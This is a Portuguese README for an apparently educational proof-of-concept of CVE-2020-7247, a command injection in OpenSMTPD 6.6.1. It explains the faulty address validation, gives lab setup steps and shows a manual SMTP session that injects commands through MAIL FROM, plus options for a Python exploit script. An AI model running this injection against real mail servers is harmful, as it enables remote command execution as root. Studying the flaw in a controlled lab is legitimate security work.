
Prova de conceito para CVE-2020-7247 para fins educacionais.
Este repositório deve servir como base para configurar e explorar CVE-2020-7247 num ambiente controlado e privado. Todo o código e configuração publicados são exclusivamente destinados a testar esta vulnerabilidade e não para a abusar contra sistemas que não são seus ou para os quais não tem permissão para explorar. O proprietário deste repositório não é responsável pela utilização destas ferramentas por terceiros.
O principal problema no código é que a validação de correio não funciona. Permite que caracteres potencialmente perigosos sejam passados nos campos MAIL FROM e RCPT TO.
Se a parte local do endereço de correio for inválida, é tratada como válida porque o código adiciona a parte do domínio e a interpreta como válida depois disso. Isto permite ao atacante executar código arbitrário.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Para estar seguro, o código deve ser assim:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
O Opensmtpd executa então um chamado comando MDA. O comando é usado para entregar correio. Tem a seguinte aparência:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Aqui já pode ver o problema. mbox.from é o endereço do remetente, que está sob total controlo do atacante.
O atacante está, no entanto, limitado a usar apenas caracteres no shellcode que não estejam na seguinte lista: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Divulgado completamente aqui
É livre para escolher a distribuição onde executar o servidor. Eu testei no Ubuntu 18.04 LTS.
Execute chmod +x setup.sh para tornar o script de configuração executável. Pode usá-lo com um utilizador normal, pois apenas incluí direitos sudo no script sempre que necessário. (Claro que o seu utilizador precisa de ser um sudoer)
O script de configuração irá instalar todas as dependências necessárias para o smtpd e copiar a configuração para os respetivos locais.
O Opensmtpd 6.6.1 será instalado. \
Se precisar de executar o openstmpd manualmente ou o script tiver algum erro, execute o seguinte:
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
A configuração neste repositório é apenas para testes locais. Não inclui domínios externos/configuração avançada.
aliases e smtpd.conf são os dois ficheiros de configuração necessários para a configuração deste servidor. É livre de os alterar como quiser. Tenha em mente que a configuração foi feita para o meu servidor de teste. O nome do meu servidor era ase (diretiva @ase no smtpd.conf) e o meu nome de utilizador era ase (configuração de utilizador nos aliases).
Terá de substituir <YOUR IP> em smtpd.conf pelo IP do seu servidor. Caso contrário, o smtpd não será iniciado.
Caso encontre algum endereço IP e portas neste ambiente, aqui estão alguns factos principais sobre o ambiente que usei para que os possa alterar em conformidade:
asease192.168.1.4025192.168.1.311337O exploit fornecido usa Python 3.x. Utiliza a dependência pwn. Para usar este exploit, precisa de instalar pwntools usando pip3 install pwntools.
Basicamente, o exploit explora automaticamente a vulnerabilidade sem necessitar de interação do utilizador. No entanto, o exploit pode ser feito manualmente sem o script Python.
Como mencionado anteriormente, o exploit pode ser executado sem o script Python fornecido. Terá de seguir o processo SMTP manualmente. Isto pode ser feito usando netcat ou telnet.
Aqui está um exemplo de como pode ser feito manualmente:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
Pode também usar o script fornecido. Os seguintes parâmetros são possíveis:
--targetHost especifica o alvo e é obrigatório.--targetPort especifica a porta alvo e é obrigatório.--customCommand especifica o comando a injetar.shellcode.py serve como exemplo de como um código de shell remoto pode ser. \
